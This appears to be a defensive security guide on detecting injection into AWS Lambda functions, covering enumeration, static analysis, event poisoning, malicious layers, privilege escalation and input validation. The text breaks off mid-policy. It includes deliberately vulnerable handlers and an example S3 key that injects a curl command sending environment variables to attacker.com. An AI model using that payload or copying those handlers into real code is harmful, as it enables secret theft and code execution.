detecting-serverless-function-injection

# Detecting Serverless Function Injection ## When to Use - Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`) - Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment - Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles - Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution - Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns **Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval. ## Prerequisites - AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge - AWS CLI v2 configured with appropriate credentials and region - CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`) - Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis - Access to function source code or deployment packages for static analysis - CloudWatch Logs Insights access for querying Lambda execution logs ## Workflow ### Step 1: Enumerate the Serverless Attack Surface Map all Lambda functions and their event source triggers to understand injection entry points: - **List all Lambda functions and their configurations**: ```bash aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table ``` - **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function: ```bash aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' ``` - **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object: ```bash aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table ``` For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input. - **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata: ```bash aws s3api get-bucket-notification-configuration --bucket <bucket-name> ``` - **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function: ```bash aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json ``` - **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets: ```bash aws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role> ``` ### Step 2: Static Analysis for Injection Sinks Scan function code for dangerous patterns that allow injected event data to execute as code or commands: - **Download function deployment packages**: ```bash aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ ``` - **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code: ```python # DANGEROUS: Direct eval/exec of event data eval(event['expression']) # Code injection via eval exec(event['code']) # Arbitrary code execution os.system(event['command']) # OS command injection subprocess.call(event['cmd'], shell=True) # Shell injection os.popen(event['input']) # Command injection pickle.loads(event['data']) # Deserialization attack yaml.load(event['config']) # YAML deserialization (unsafe loader) ``` - **Node.js injection sinks** (Lambda Node.js runtimes): ```javascript // DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require('child_process').exec(event.input); // Import-and-execute pattern ``` - **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks: ```bash semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json ``` - **Run Bandit for Python functions**: ```bash bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607 ``` These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns. - **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed: ```python # Indirect injection: event data flows into SQL query string query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template = event['template'] rendered = jinja2.Template(template).render() # SSTI ``` ### Step 3: Detect Event Source Poisoning Analyze event sources for injection payloads that exploit how Lambda processes triggers: - **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name: ```python # Vulnerable Lambda handler def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # VULNERABLE: key is attacker-controlled os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file") ``` Attack: Upload an object with key `; curl http://attacker.com/exfil?data=$(env)` to inject a command through the S3 event. - **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data: ```python # Vulnerable Lambda handler def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula']) ``` - **API Gateway header/parameter injection**: HTTP request data passes through API Gateway into the Lambda event: ```python # Vulnerable Lambda handler def handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) ``` - **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data: ```python # Vulnerable Lambda handler def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config) ``` - **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs: ``` fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100 ``` ### Step 4: Detect Malicious Lambda Layer Injection Identify unauthorized Lambda layers that intercept function execution or exfiltrate data: - **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions: ```bash aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json ``` - **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers: ```bash aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]' ``` Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters. - **Analyze layer contents**: Download and inspect layer packages for malicious code: ```bash aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ ``` - **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path: - Python: Layer code in `/opt/python/` is imported before the function's own modules - Node.js: Layer code in `/opt/nodejs/node_modules/` overrides function dependencies - A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint - **CloudTrail detection query for layer changes**: ```json { "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } } ``` ### Step 5: Detect IAM Privilege Escalation via Lambda Identify escalation paths where attackers modify functions to assume higher-privilege roles: - **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can: 1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess) 2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions 3. Invoke the function, which executes with the high-privilege role 4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`) - **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications: ```bash aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table ``` - **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this: ``` # CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc ``` - **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities: ``` fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc ``` - **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified: ```json { "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } } ``` ### Step 6: Implement Runtime Injection Prevention Deploy runtime protection controls to prevent injection at execution time: - **Input validation at handler entry**: Validate and sanitize all event data before processing: ```python import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})} ``` - **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth: ```bash aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # Must return "AWS_IAM", not "NONE" ``` - **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow",